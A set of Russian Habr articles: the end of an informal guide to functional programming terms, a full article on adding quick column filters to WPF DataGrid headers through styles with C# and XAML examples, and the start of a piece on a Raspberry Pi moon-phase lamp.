* **Морфизм** – это любая функция, преобразующая один тип в другой. Вот `IntToStr` – это вполне себе морфизм. Итого: видим «морфизм» — читаем «функция конвертации». «Эндоморфизм» — это морфизм внутри категории, т.е. преобразование типа в самого себя. Функция «синус» вполне себе Эндоморфизм из Категории `Double` в нее же, хотя и крайне примитивный. Более сложный пример морфизма: преобразователь пары строк (username, password) в объект сессии.
* «Ее Величество» **Монада** – это простой и банальный контейнер. Ее основная цель – обрабатывать данные в контейнере, не вынимая их наружу. Для этого к ней прицепили парочку функций (`map`). Например, если у нас есть монада-список (массив) чисел, то преобразование их в строки можно сделать прямо в массиве, сразу получив на выходе готовый массив строк, не заморачиваясь с циклами, созданием новых массивов и т.п.
+ **Важное уточнение**: когда я говорю «превратили числа в строки, не доставая из контейнера», я не имею в виду, что поменялось содержимое самого массива. Исходный массив (экземпляр) остается неизменным, но вызвав преобразование, мы получим второй массив (или дерево, или любой другой контейнер) идентичной структуры, только уже содержащий строки.
+ Но это только половина правды. Вторая половина состоит в том, что когда вы получили указатель на массив строк, никакого массива еще нет. Все вычисления "ленивые". Это означает, что пока вы не попытаетесь прочитать что-то из этого "массива" (который на самом деле просто аналог сишного `Handle`) ничего выполнено и сконвертировано не будет. Поэтому вы можете строить цепочки конверсий, которые мгновенно возвращают управление (потому что ничего не делают), и в конце, когда вам понадобится что-то достать из конечного контейнера, только тогда вся цепочка и раскрутится в последовательность вызовов конкретных `IntToStr` и им подобным.
+ В хаскеле функция такой обработки называется `bind` (`>>=`), что имеет корни в Теории Категорий. Ведь *bind* – это «связывание», т.е. функция `bind` фактически создает ребро в графе категорий (связывает узлы). В большинстве языков «здорового человека» эта функция называется `map()` (строго говоря, `flatMap`) («отобразить», «поставить в соответствие»). По мне, логичнее было бы ее назвать `cast()` («снять слепок», «преобразовать»), но меня почему-то не спросили.
+ Есть распространённая монада `Option`/`Maybe`, смысл которой в том, чтобы хранить одно единственное значение. Или не хранить. Например, мы могли бы сделать функцию `StrToIntOption`, которая бы принимала строку и возвращала `Option[Int]`, т.е. такую монаду (контейнер), в которой либо лежало бы число (если строка в него парсится), либо не содержало бы ничего. С таким контейнером мы можем делать разные вещи, даже не проверяя, что в нем лежит. Например, можем умножить его содержимое на «2», взять синус, вывести на экран или отправить по сети. Для этого мы используем наш метод `map()`, передав в него функцию, которая должна сделать что-то полезное. Но фактически выполнена эта функция будет только, если в контейнере значение правда лежит (число распарсилось). Если в контейнере ничего нет, то ничего и не произойдет, ничего не умножится, ничего не отправится.
+ А вообще полезных монад люди придумали множество. Но все они несут один простой смысл, который описан выше. В любой большой системе можно наковырять с десяток служебных типов, которые можно было бы заменить монадическим типом. Монада-контейнер может накапливать в себе любой контекст, произошедшие ошибки, [логирование](https://habr.com/ru/post/445800/) и что угодно еще, не останавливая поток обработки и не засоряя код ненужным бойлер-плейтом. С помощью монад довольно элегантно решается большинство задач [Аспектно-ориентированного программирования](https://ru.wikipedia.org/wiki/%D0%90%D1%81%D0%BF%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5).
+ Мощь и удобство функции `map()` оказались настолько велики, что ее добавили к себе многие современные языки, далекие от чистого ФП.
* **Функтор** – обработчик данных в контейнере.
+ Важное пояснение: в большинстве статей про ФП вам расскажут про функтор до монады, а потом, давая определение монады расскажут, что она тоже является функтором. После этого в голове обычно вообще все запутывается. Поэтому давайте договоримся, что вы пока забудете то, что сейчас прочитали в этом абзаце и просто продолжите читать.
+ Функтор — это та самая упомянутая выше функция `map`/`bind`.
**Осторожно!**
В этом месте в аудиторию врывается функциональный программист и орет, потрясая какой-то толстой книгой, что такое определение абсолютно некорректно. Ну а мы продолжаем...
Смысл названия «~~злобный~~ Функтор»: «функция над функциями», но он не отражает ее сути. Суть же – взять какой-нибудь морфизм (т.е. преобразователь типов) и применить его прямо внутри контейнера. Т.е. Функтор – это Морфизм (преобразование) в контейнере. Функтор выглядит со стороны это как будто вызвали функцию (`map`), передав в качестве параметра другую функцию (`IntToStr`), а в результате она вернет нам такой же массив, только уже со строками вместо чисел.
+ Теперь вернемся к теме «монада является функтором». На практике это означает, что в классе монады есть метод map, как и в Функторе. Все. Но в монаде есть еще функция связывания, чего нет в Функторе. Так что Функтор — это "недомонада".
+ У Функтора есть двоюродный брат – Аппликативный функтор.
* **Аппликативный функтор** – те же яйца, только к нему добавили еще одну фичу, чтобы конвертацию можно было делать отложенно в некоторых условиях, когда хотят скомпоновать содержимое нескольких контейнеров, опять же ничего не извлекая. Например `(Option[username], Option[password]) -> Option[(username, password)])`. С функцией `map()` мы бы не смогли сделать такую пару, не извлекая самих значений (нам сначала бы пришлось получить логин и пароль, а потом сложить в новый контейнер их пару). Поэтому тут добавляется еще одна функция `ap()` (от *apply*), которая «лениво» преобразует данные (как делал ее брат — Функтор) только когда кто-то начнет читать результирующий контейнер. На практике она возвращает частично примененную функцию – это ту, которая…
* Частично примененные функции, **Каррирование**. Объяснение на простом примере функции с двумя переменными: давайте подставим в нее первый параметр, а второй оставим пока неизвестным. По факту получим функцию с одним параметром. Вот и все, мы только что сделали «каррирование» функции из **[арности](https://habr.com/ru/post/310172/)** `k=2` в `k=1`. На самом деле в Хаскеле, например, вообще нет понятия количества параметров у функции в том смысле, как это делается в си-подобных языках. Например, если функции измерения расстояния надо 3 координаты (имеет сигнатуру `Double -> Double -> Double -> Double`), то мы можем в выражениях использовать ее как с одним, так и с двумя или с тремя параметрами. Отличия будут в типах возвращаемых результатов. В случае, если мы передадим все координаты, то она вернет «Double», если передадим на одну координату меньше – она вернет `Double -> Double`, т.е. функцию от одного параметра `Double`, если мы передадим всего одну координату, то результат будет иметь вид `Double -> Double -> Double` (функция от двух параметров `Double`, возвращающая `Double`).
+ А если мы такую же логику применим к обобщенным типам (дженерикам), т.е. рассмотим некий тип F[T1, T2, T3], то окажется что у такого типа есть конструктор, дающий конкретные реализации обобщенного типа (например F[Int, Double, String]). У этого конструктора будет 3 аргумента: T1, T2, T3. Действовать с ними он будет ровно так же, как вышеописанная функция. Т.е. его тоже можно "каррировать", уменьшая количество параметров, передавая часть из них. Только вот в этом случае не говорят о арности, а говорят о разных "**[кайндах](https://habr.com/ru/post/133277/)**" (*kind*). Почему? [Потому что гладиолус](https://lurkmore.to/%D0%9F%D0%BE%D1%82%D0%BE%D0%BC%D1%83_%D1%87%D1%82%D0%BE_%D0%B3%D0%BB%D0%B0%D0%B4%D0%B8%D0%BE%D0%BB%D1%83%D1%81).
* **Лямбда** выражения и Замыкания. Лямбда исчисление имеет к ФП такое отношение, как Теория Категорий, т.е. никакое. Просто люди, привнесшие эту концепцию в ФП, были прожжёнными математиками, и дали ей такое название. Для того чтобы понять суть «лямбд» и «замыканий» не нужна высшая математика. Лямбда-выражение – это просто анонимная функция. Когда у тебя есть язык, весь состоящий из функций, и когда функции можно передавать в качестве значений другим функциям, то не очень хочется для каждой такой функции придумывать имя. Особенно если эта функция состоит из одной строки и тройки-другой слов.
* **Эффект** – это один из столпов ФП, наравне с монадой (и настолько же абстрактен, как она). Эффект – это императивная часть программы. Любой программе, написанной на чистом и няшном ФП, приходится взаимодействовать с внешним миром. Любое взаимодействие заставляется выйти из теплого мирка контейнеров-монад в ~~грязный~~ реальный императивный мир и что-то вывести на экран, что-то принять по сети, прочитать текущее время и т.п. Кроме того любое извлечение данных из контейнера – это Эффект (т.к. с извлечением может быть запущена отложенная реальная обработка данных). Чтобы вывести распарсенное число на экран, нам придется-таки узнать, а было ли оно вообще распарсено (извлечь содержимое `Option`/`Maybe`). Не удивительно, что функциональщики стараются держать Эффекты под контролем. Весь прикол функционального мира состоит в том, что Эффекты до самого последнего момента тоже остаются монадными (т.е. упакованными в свой контейнер эффектов). Если где-то в коде ФЯП написано, что надо что-то вывести в консоль, то оно (текст) будет упаковано в монаду и доставлено вверх по кол-стеку прямо в функцию main. Функция `main` возвращает именно такую супер-монаду `IO` (а не `void` как в «сях»), которая собрала в себя всю логику программы, и все эффекты ввода-вывода в консоль. Только внутренний boot-код, сгенерированный компилятором, запустит исполнение Эффекта (извлечение контейнера `IO`) – откроет ящик Пандоры, из которого выскочат все реальные строки, вычисленные тут же «на лету» цепочками различных преобразований.
+ Эффект – это, на самом деле, венец всего ФП, после понимания которого наступает долгожданный катарсис «я наконец-то понял!».
Что дальше
----------
Я надеюсь, что мое объяснение было полезным и дало вам привязку мира ФП к реальным задачам. Поэтому если вы еще не начали, то попробуйте начать писать функциональный код. Вот прямо сразу, на том языке, на котором вы пишете все время. Как я упоминал выше, это можно делать почти в любом ЯП. Для этого надо всего лишь стараться максимально следовать следующим принципам:
* Писать чистые функции – функции, которые оперируют только теми данными, которые получили на входе, никак их не меняя и возвращая обработанный результат.
* Не использовать глобальные переменные и другие хранилища состояния в процессе обработки – выполнять Эффекты только в самом конце работы логики.
* Аккуратнее с ООП. Изменяемые Объекты – это глобальные переменные. Старайтесь по возможности использовать immutable структуры данных.
* Если ваш ЯП уже содержит функции `map()` и различные вариации монад (`Option`, `Try` и т.п.) старайтесь использовать их по максимуму.
* В следующий раз попробуйте вместо цикла for написать `map`/`forEach`/`fold`/`reduce` или использовать другой Функтор, подходящей сигнатуры. Нет подходящего? Напиши его!
Заключение
----------
Аппетит приходит во время еды. Постепенно развивая в себе функциональное чутье, со временем вы постепенно начнете «видеть» монады. Ваш код станет выразительнее, компактнее, надежнее. Но есть один недостаток: взглянув через год на свой код вам станет нестерпимо стыдно и захочется переписать его заново вдвое короче. По крайней мере так было у меня.
Апдейт по мотивам комментариев
------------------------------
Еще раз напомню, что данная статья не является академической. Данные тут определения — это вольные трактовки на конкретных житейских примерах, они способны вызывать батхёрт у тех, кто уже углубился в абстракции и топит за "чистоту". За строгостью формулировок я настоятельно рекомендую обратиться к авторитетным [источникам](https://wiki.haskell.org/).
Продолжение
-----------
[Вторая часть.](https://habr.com/ru/post/506782/) | https://habr.com/ru/post/505928/ | null | ru | null |
# А давайте это отфильтруем
Стилизация элементов пользовательского интерфейса в экосистеме .net/WPF «*позволяет разработчикам и дизайнерам создавать визуально привлекательные эффекты и согласованный внешний вид своих продуктов»* [[docs.microsoft.com](https://docs.microsoft.com/ru-ru/dotnet/desktop/wpf/controls/styles-templates-overview)] На первый взгляд, это аналогично разделению веб-страниц на семантическое содержание в HTML и оформление в CSS.
Однако, стилизация в WPF является гораздо более мощным инструментом, позволяющим существенно обогатить интерфейс программы (UI) без непосредственного изменения кода приложения.
Однажды потребовалось в приложении добавить во все таблицы возможность быстрой фильтрации по содержимому. Пожелание заказчика выглядело примерно так:
То есть необходимо изменить поведение для каждого столбца каждого элемента `DataGrid` каждого экрана. Внести изменения в почти сотню форм.
Однако, проект был выполнен на WPF, поэтому в конечном счёте в самом приложении оказалось достаточно … добавить одну строку:
И, конечно, подключить библиотеку, которую предстояло ещё разработать :=)
### И что, это сработает?
Разумеется. Через внедрение поведения через стиль.
Достаточно разработать пользовательский элемент управления и переопределить шаблон заголовка элемента `DataGrid` в ресурсе, доступном элементу выше по логическому дереву. Если ресурс определить в корневом элементе приложения, изменение затронет все формы приложения. Сам же пользовательский элемент целесообразно вынести в отдельную библиотеку.
Для тех, кто не знаком с технологией WPF — немного об XAML, логическом и визуальном дереве.*Предупреждение. Материал под спойлером — недопустимо краткая выжимка из документации на docs.microsoft.com.*
Пользовательский интерфейс в WPF описывается с помощью XAML — декларативного языка разметки. Текстовый файл XAML является XML-файлом, обычно с расширением .xaml. Для решения нашей задачи важно следующее.
При описании пользовательского интерфейса в файле XAML описывается один элемент пользовательского интерфейса, обычно – страница (`Page`) или элемент, производный от `System.Windows.Controls.Control`: окно (`Window`), `UserControl` и т.д. Элемент `Control` (как и `Page`), в свою очередь, может содержать один или несколько дочерних элементов (child Control`s). В зависимости от типа родительского элемента, свойством для задания дочерних элементов является `Content`, `Items`, `Children` и т.п. Таким образом в файле XAML (или из программного кода) задается логическое дерево элементов LogicalTree (см. [Деревья в WPF](https://docs.microsoft.com/ru-ru/dotnet/desktop/wpf/advanced/trees-in-wpf)).
Однако, при загрузке страницы или элемента управления логическое дерево развертывается в визуальное дерево элементов (`VisualTree`). Элементы логического дерева определяют поведение элемента, а элементы визуального дерева определяют внешний вид элемента в UI. Способ разворачивания содержимого элемента управления в визуальное дерево определяется его шаблоном (см. [Стили и шаблоны WPF](https://docs.microsoft.com/ru-ru/dotnet/desktop/wpf/controls/styles-templates-overview)). Если не задано иное, используется шаблон элемента по умолчанию, заданный в исходной библиотеке элемента управления разработчиком библиотеки. Однако, в приложении шаблон элемента можно переопределить, используя свойство `Control.Template` (или `Page.Template`). Поскольку свойство `Template` является [свойством зависимостей](https://docs.microsoft.com/ru-ru/dotnet/desktop/wpf/properties/dependency-properties-overview), задать пользовательское значение можно разными способами: как напрямую, так и через стиль или ресурсы элемента/приложения.
Для решения нашей задачи важно, что в WPF для элемента (логического или визуального) реализованы эффективные методы для доступа к другим элементам логического или визуального дерева и их свойствам.
Актуальное значение свойства элемента можно получить с помощью механизма привязки данных. Как описано в [документации](https://docs.microsoft.com/ru-ru/dotnet/desktop/wpf/data), привязка данных определяется как *процесс установки соединения между пользовательским интерфейсом и отображаемыми данными.* Привязку можно как описать декларативно в файле XAML, так и задать императивно из кода. Привязка данных является, по существу, мостом между целью привязки (значением свойства визуального элемента, которое необходимо установить) и источником привязки. Источником привязки может выступать значение свойства экземпляра любого другого объекта модели приложения, в том числе, разумеется, и свойства элементов визуального или логического дерева.
Итак, необходимо изменить заголовок столбца DataGrid — добавить раскрывающийся список быстрого фильтра и соответствующее поведение.
> *Дисклеймер*. Все доступные из статьи данные о фирме *Northwind* получены из [открытого источника](https://github.com/Microsoft/sql-server-samples/tree/master/samples/databases/northwind-pubs), предоставляющего их по [лицензии MIT](https://github.com/microsoft/sql-server-samples/blob/master/license.txt). Все совпадения неслучайны. Все данные неперсональны.
>
>
### Формализация задания
На начало работ можно сформулировать следующие требования:
1. В заголовок столбца стандартного элемента управления `DataGrid` необходимо добавить некий пользовательский элемент управления для быстрой фильтрации по содержимому столбца. Назовем его `ColumnFilter`.
2. «Фильтрация» в данном контексте означает, что элементы привязанной к `DataGrid` коллекции проверяются на соответствие некоему условию фильтрации (т.е. функция фильтрации, выполненная над элементом коллекции, возвращает `true`). Выводятся только те элементы коллекции, которые соответствуют условию фильтрации.
3. Содержание выводимого `DataGrid` столбца определяется привязкой столбца. Привязка обычно определяет свойство элемента коллекции, отображаемое в столбце (источник привязки). Зафиксируем в задании, что расположенный в столбце элемент ColumnFilter выполняет простые операции сравнения с образцом над определяемым привязкой столбца свойством.
4. В число простых операций включаем операции, допустимые для типа источника привязки. Например, если источник привязки имеет тип `string`, в набор операций включаем «*эквивалентно …*», «*Начинается с …*», «*Содержит …*». Если источник привязки имеет тип `int`, `real` и т.п., в набор операций включаем «*равно*», «*больше*», «*меньше*». Таким образом, отдельный элемент `ColumnFilter` будет представлять набор операций, допустимых над типом источника привязки – элементарных фильтров.
5. Зафиксируем, что функции фильтрации элементарных фильтров `ColumnFilter` объединяются по «И», как и функции фильтрации всех активных `ColumnFilter` для привязанной коллекции.
### В .net/WPF почти всё уже есть.
Элемент `DataGrid` отображает коллекцию, доступ к которой возможен через свойство `Items`. `Items` можно заполнить напрямую добавлением элементов, но чаще осуществляется привязка свойства `ItemsSource` к отображаемой коллекции. При привязке через `ItemsSource` исходная коллекция используется не напрямую, а через прокси-класс `CollectionView`, добавляющий (в числе прочего) функцию фильтрации (подробнее см. [привязка к коллекциям](https://docs.microsoft.com/ru-ru/dotnet/desktop/wpf/data/?view=netdesktop-6.0#binding-to-collections)). Кратко взаимодействие `DataGrid` и `CollectionView` отражает следующая диаграмма:
ItemsSource class diagramПри привязке `ItemsSource` к коллекции для данного экземпляра коллекции извлекается представление по умолчанию `defaultView`, которое и используется для отображения в UI. Для экземпляра коллекции всегда формируется только один экземпляр `defaultView` ([dotnet/api/system.windows.controls.itemscontrol](https://docs.microsoft.com/ru-ru/dotnet/api/system.windows.controls.itemscontrol.items?#-------)); его можно получить с помощью класса `CollectionViewSource`:
```
ICollectionView defaultView = CollectionViewSource.GetDefaultView(source);
```
Для реализации фильтрации достаточно присвоить свойству `defaultView.Filter` функцию фильтрации типа `Predicate`. Данная функция будет вычислена для каждого элемента коллекции, элемент будет выведен или скрыт в зависимости от возвращаемого значения.
Инжекцию экземпляра `ColumnFilter` в `DataGrid` реализуем через стиль заголовка столбца (свойство`DataGrid.ColumnHeaderStyle`). Для работы `ColumnFilter` потребуется доступ к `CollectionView,`выводимой элементом `DataGrid,` и значение привязки для столбца, в котором расположен `ColumnFilter`. Данная информация может быть получена поиском в визуальном дереве родительских элементов `DataGridColumn` и `DataGrid`. Из свойства `ItemsSource` (либо `Items`) родительского `dataGrid` можно получить отображаемую коллекцию:
А из свойств родительского столбца `dataGridColumn` — значение привязки:
```
DataGridColumnHeader columnHeader = this.GetVisualTreeParent();
DataGridColumn column = columnHeader.Column;
string bindingPath;
if (column is DataGridBoundColumn columnBound
&& columnBound?.Binding is Binding binding) {
bindingPath = binding.Path.Path;
}
else if (column is DataGridTemplateColumn templateColumn
&& templateColumn.Header is string header) {
bindingPath = header;
}
else if (column is DataGridComboBoxColumn comboBoxColumn
&& comboBoxColumn.SelectedItemBinding is Binding \_binding) {
bindingPath = \_binding.Path.Path;
}
```
### Итак, план таков:
1. Для фильтрации используем представление коллекции `CollectionView`, отображаемое в `DataGrid`.
2. Ограничим бесконечное разнообразие условий фильтрации небольшим набором простых фильтров (далее – фильтров). Например: «*Отобразить только заданные пользователем значения*»; «*Вывести значения, большие заданного пользователем критерия*»;«*Вывести строки, содержащие заданную пользователем подстроку*» и т.д.
3. Каждый фильтр будет основан на одной логической операции (базовая операция фильтра); одним из операндов базовой операции фильтра является значение свойства, выводимое в столбце (т.е. привязкой столбца). Если базовая операция фильтра допустима для типа источника привязки, фильтр отображается в пользовательском интерфейсе и участвует в условиях фильтрации коллекции.
4. Пусть каждый фильтр имеет признак активности. Элемент коллекции выводится (проходит фильтр), если выполняются условия для всех активных фильтров (т.е. условия отдельных фильтров объединяются по «И», результирующая функция фильтрации присваивается свойству `CollectionView.Filter`).
5. В отдельной библиотеке определяем пользовательский элемент управления `FilterControl` и производный от него `ColumnFilter` — быстрый фильтр. `FilterControl` имеет поведение, не зависящее от места применения элемента в форме. `ColumnFilter` предназначен для использования в заголовке столбца `DataGrid` и может быть внедрен через шаблон.
6. Визуально `ColumnFilter` будет представлять раскрывающийся список, отражающий набор инициализированных для столбца фильтров. Каждый фильтр набора участвует в формировании функции фильтрации и одновременно является моделью для отображения в `ColumnFilter`.
7. Для взаимодействия `FilterControl` и `CollectionView` определяем специализированный класс `FilterPresenter`. Экземпляр класса `FilterPresenter` жестко связан с экземпляром представления коллекции `CollectionView`, для которого он создан, и выполняет задачи подготовки функции фильтрации, взаимодействия с представлением коллекции, инициализации элементарных фильтров и предоставление модели для `FilterControl`.
### Реализация — дело техники
После реализации в отдельной библиотеке определены классы `FilterControl` (элемент UI), `FilterPresenter` (реализующий фильтрацию представления коллекции) и необходимые для их работы вспомогательные классы:
Несколько поясненийКласс `FilterPresenter` имеет связь с исходным представлением коллекции `CollectionView` и содержит коллекцию объектов `Filter`. Объекты `Filter` создаются классом `FilterPresenter` и, с одной стороны, реализуют функцию фильтрации, а с другой стороны, предоставляются через `FilterControlVm` в качестве элементов коллекции для отображения в UI. Элемент `FilterControl` отображает `FilterControlVm` в UI.
Свойство `FilterControl.ParentCollection` ссылается на представление фильтруемой коллекции `CollectionView`; через ссылку на представление можно получить экземпляр прикрепленного к представлению `FilterPresenter`.
Свойство `FilterInitializersManager` содержит коллекцию инициализаторов элементарных фильтров, которая определяет — какие виды фильтров могут быть созданы для данного элемента `FilterControl`.
При привязке коллекции к свойству `FilterControl.ParentCollection` извлекается `FilterPresenter` для привязанной коллекции; в экземпляр `filterPresenter` передается запрос на формирование `FilterControlVm`. Одним из параметров запроса передается `FilterInitializersManager`, который используется для определения возможного набора фильтров, включаемых в `FilterControlVm`.
Класс `ColumnFilter` конкретизирует использование `FilterControl` в визуальном дереве в качестве дочернего элемента (`DataGrid –> DataGridColumnHeader –> ColumnFilter`).
И, разумеется, исходный код библиотеки имеется на Github и доступен по свободной лицензии GPLv3.
В библиотеку также добавлен файл стиля *ItemsFilterStyle.xaml*, в котором определен шаблон заголовка DataGrid:
```
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGridColumnHeader}">
...
<bsif:ColumnFilter
ParentCollection="{Binding ItemsSource,
RelativeSource={RelativeSource FindAncestor,
AncestorType={x:Type DataGrid}}}" />
...
</ControlTemplate>
</Setter.Value>
</Setter>
```
и указано, что данный стиль следует применять для всех элементов `DataGrid`:
```
<Setter Property="ColumnHeaderStyle" Value="{StaticResource DataGridColumnHeaderStyle}" />
```
Для активизации стиля разработчику приложения достаточно выполнить единственное изменение в коде основного проекта – включить ресурсы файла стиля в состав ресурсов приложения, добавив в файл *App.xaml* приведенную во введении строку.
### Результат
Итак, в форме приложения содержится DataGrid:
```
```
После внедрения стиля ItemsFilterStyle.xaml в заголовке столбца DataGrid появился быстрый фильтр по содержимому:
DataGrid ItemsFilterНа этом задача решена, можно было бы и закончить. Однако..
### Самое интересное только начинается
Исходный код .net, равно как и сам API платформы, можно рассматривать как учебный материал, пример для подражания, образец грамотного распределения ролей и зон ответственности классов. Даже попытка следования принятым в .net практикам дает богатые результаты. Вот и в данной задаче получается более богатое решение, чем изначально поставлено в задании.
Как было указано выше, при привязке к коллекции элементы `ItemsControl` выводят представление коллекции по умолчанию. При повторном извлечении предоставляется один и тот же экземпляр представления. В результате, при привязке к одной коллекции нескольких элементов `ItemsControl` изменения сортировки, группировки и фильтрации, выполненные одним из элементов, передаются в остальные экземпляры. В реализации класса `FilterPresenter` установлена жесткая связь экземпляра со своим представлением коллекции; для одного экземпляра `CollectionView` создается один и только один экземпляр `FilterPresenter`, который и извлекается при последующих обращениях. В результате фильтрация, выполненная с помощью элементов `FilterControl` (или `ColumnFilter`), влияет на все представления, отображающие эту коллекцию.
Например: в одном окне приложения выводится некий справочник, а в другом окне при изменении свойства предлагается раскрывающийся список для выбора одного из элементов этого справочника. Если в окне справочника пользователь наложит фильтр, раскрывающийся список выбора элемента также будет отфильтрован:
Экземпляр элементарного фильтра `filter`, созданный классом `FilterPresenter`, однозначно идентифицируется через ключ `{viewKey, filterType}` и может быть извлечен повторно. В результате, возможно отображение фильтра не только в составе `DataGrid`, но и в любом другом месте представления. А внешний вид фильтра в форме WPF возможно изменить радикально.
В иллюстрации ниже один экземпляр фильтра отображается как в заголовке `DataGrid`, так и в шапке формы. Разумеется, операции, выполненные пользователем в одном представлении фильтра, будут отражены одновременно во всех представлениях.
Функциональность элемента `DataGrid`, определяющая работу с представлением коллекции, определена в базовом классе `System.Windows.Controls.ItemsControl`. Однако, от этого класса наследуют много других элементов управления. Насколько сложно добавить быстрый фильтр, например, в элемент `ComboBox`?
При проектировании класса `ColumnFilter` функциональность, не зависящая от деталей окружения, в котором он используется, вынесена в базовый класс `FilterControl`. В результате `FilterControl` сам может использоваться для отображения какого-либо специализированного фильтра — как в составе произвольной формы, так и в составе производного от `ItemsControl` элемента. Причем для описания такого пользовательского фильтра требуется на удивление мало кода.
Предположим, в представлении отображается `ComboBox`, отображающий коллекцию `Customers`. Требуется при выборе элемента `ComboBox` предоставить пользователю возможность быстрого поиска и фильтрации по подстроке. Критерий фильтрации формулируется так: «*подстрока для поиска может быть найдена среди значений одного из свойств customer: City, Code, Name и т.д.*».
Определяем специализированный фильтр `CustomersComboBoxFilter` как производный от `StringFilter`, переопределив функцию извлечения значения из объекта customer,
File CustomersComboBoxFilter.cs
```
// ****************************************************************************
// mishkin Ivan
// Mishkin\_Ivan@mail.ru
// 28.01.2015
// \*\*\*\*\*\*\*\*\*\*\*
// GNU General Public License version 3 (GPLv3)
// ****************************************************************************
using BolapanControl.ItemsFilter.Model;
using BolapanControl.ItemsFilter.View;
using Northwind.NET.EF6Model;
using System.Text;
namespace Northwind.NET.Sample.ViewModel {
[View(typeof(StringFilterView))]
// Define specialized filter for CustomersComboBox.
public sealed class CustomersComboBoxFilter : StringFilter, IFilter {
private static readonly StringBuilder sb = new();
internal CustomersComboBoxFilter()
// To search for combine the values of several properties.
: base(item =>
{
if (item is Customer customer) {
sb.Clear();
sb.Append(customer.City);
sb.Append(',');
sb.Append(customer.Code);
sb.Append(',');
sb.Append(customer.ContactName);
}
return sb.ToString();
}) {
}
}
}
```
определяем класс – инициализатор фильтра,
File CustomersComboBoxFilterInitializer.cs
```
// ****************************************************************************
// mishkin Ivan
// Mishkin\_Ivan@mail.ru
// 28.01.2015
// \*\*\*\*\*\*\*\*\*\*\*
// GNU General Public License version 3 (GPLv3)
// ****************************************************************************
using BolapanControl.ItemsFilter;
using BolapanControl.ItemsFilter.Initializer;
using BolapanControl.ItemsFilter.Model;
using Northwind.NET.EF6Model;
using System.Collections.Generic;
namespace Northwind.NET.Sample.ViewModel {
public class CustomersComboBoxFilterInitializer : FilterInitializer {
public override Filter? TryCreateFilter(FilterPresenter filterPresenter, object key) {
if (key != null && filterPresenter.CollectionView.SourceCollection is IEnumerable) {
var filter= new CustomersComboBoxFilter();
filter.Attach(filterPresenter);
return filter;
}
return null;
}
}
}
```
и изменяем шаблон для элемента `ComboBox`, в который вносим элемент `FilterControl`; через XAML выполняем привязку свойства `FilterControl.ParentCollection` к отображаемой коллекции; указываем что для данного элемента фильтр может быть инициализирован посредством созданного класса `CustomersComboBoxFilterInitializer`
File CustomerComboBoxStyle.xaml
```
```
Осталось определить внешний вид фильтра в ресурсе для элемента ComboBox, и вот результат:
Немногим сложнее добавляется фильтр в `TreeView` и другие элементы, производные от `ItemsControl`. Однако, для использования `FilterControl` экземпляр `ItemsControl` может и вовсе не понадобиться.
Допустим, в приложении имеется некое представление `OrdersView` в виде слайдера, отображающего коллекцию `Orders`. `OrdersView` отображает текущий элемент `order`, а перемещение вперед/назад осуществляется по командам `MoveToFirst`, `MoveToNext` и т.д.
Для отображения текущего элемента и реализации команд перемещения используется представление коллекции `CollectionView`, доступное в модели представления формы через свойство `OrdersCollectionView`. Пусть стоит задача – в представлении `OrdersView` добавить быстрый фильтр, ограничивающий перемещение слайдера указанным в фильтре сотрудником/сотрудниками. Что же, добавляем в подходящем месте `OrdersView` быстрый фильтр (да-да, 4 строки текста):
```
```
Этого достаточно. Результат выглядит так (впрочем, в `OrdersView` добавлено несколько штрихов для настройки внешнего вида представления):
Привязка `ParentCollection="{Binding DataContext.OrdersCollectionView, ElementName=LayoutRoot}"` предоставляет доступ к отображаемому представлению коллекции, а через `Key="Employee"` указывается, что для фильтрации будет использоваться свойство `order.Employee`.
### WPF – жив (но это не точно)
Стек технологий .net/WPF дает действительно мощные средства для настройки пользовательского интерфейса через стиль.
Почему же технология WPF осталась … скажем так, нишевой? Конечно, один из основных факторов – то, что WPF привязан к Windows. Мы говорим WPF – подразумеваем [применение в] Windows. Но если сравнивать со стеком html/css, я бы выдвинул ещё одну причину.
HTML и CSS стандартизованы. Чтобы знать и применять html/css, достаточно знать стандарт (правда, необходимо знать какие версии продукта поддерживают ту или иную функциональность стандарта, но об этом умолчим). У разработчика есть уверенность, что страницу, написанную сегодня, можно будет отобразить на компьютерах и через десять, и через двадцать лет, на любой операционной системе. А навыки, полученные сегодня, останутся востребованными завтра.
WPF вроде бы тоже демонстрирует стабильность. Некоторые даже говорят – «замороженность». Но стандарта нет. Зато вспоминаются Silverlight и UWP. Один уже в прошлом, другой же сперва подавался как замена WPF, а сейчас подается скорее, как параллельная реальность. Всё течет, всё меняется. Что останется завтра (и останется ли WPF), решает только одна организация; нам же это достоверно неизвестно. Так что у разработчика WPF нет уверенности в будущем. Как и у многих из нас – с недавнего времени.
Enjoy life code. | https://habr.com/ru/post/666582/ | null | ru | null |
# Лампа для слежения за фазами Луны на Raspberry Pi и Python
Лампа для слежения за фазами Луны, об изготовлении которой я хочу рассказать, это — развитие моего [проекта](https://python.plainenglish.io/a-raspberry-pi-powered-snapology-origami-sunrise-lamp-night-light-and-disco-ball-a12ea6dcb2fa) лампы, воспроизводящей восход Солнца, которую я сделал для того, чтобы убедить сына в том, что день не начинается в 5 часов утра.
Работая над этой новой моделью лампы, я хотел внести кое-какие улучшения в исходный проект и вырваться из моей «программистской зоны комфорта». В предыдущем проекте я кое-что сделал на скорую руку, поступая так, как мне удобно и привычно, а не так, как следовало бы поступать. Мне, кроме того, хотелось исследовать пределы возможностей Raspberry Pi в деле обеспечения энергией светодиодов NeoPixel.
Устройство «лунной» лампы похоже на устройство лампы «солнечной». Она представляет собой сферу, собранную в технике складывания фигур оригами, называемой «снапология». Свет даёт светодиодное кольцо NeoPixel, а в основе всего этого лежит Raspberry Pi. Новая лампа имеет такое же разнообразие программ освещения, что и старая. В частности, речь идёт об аналоге имитации спокойного восхода Солнца по утрам и о «программе засыпания», когда всё начинается с яркого синего света, который постепенно угасает, доходя до уровня, на котором лампа становится ночником.
[](https://habr.com/ru/company/ruvds/blog/566098/)
*Начало «программы засыпания»*
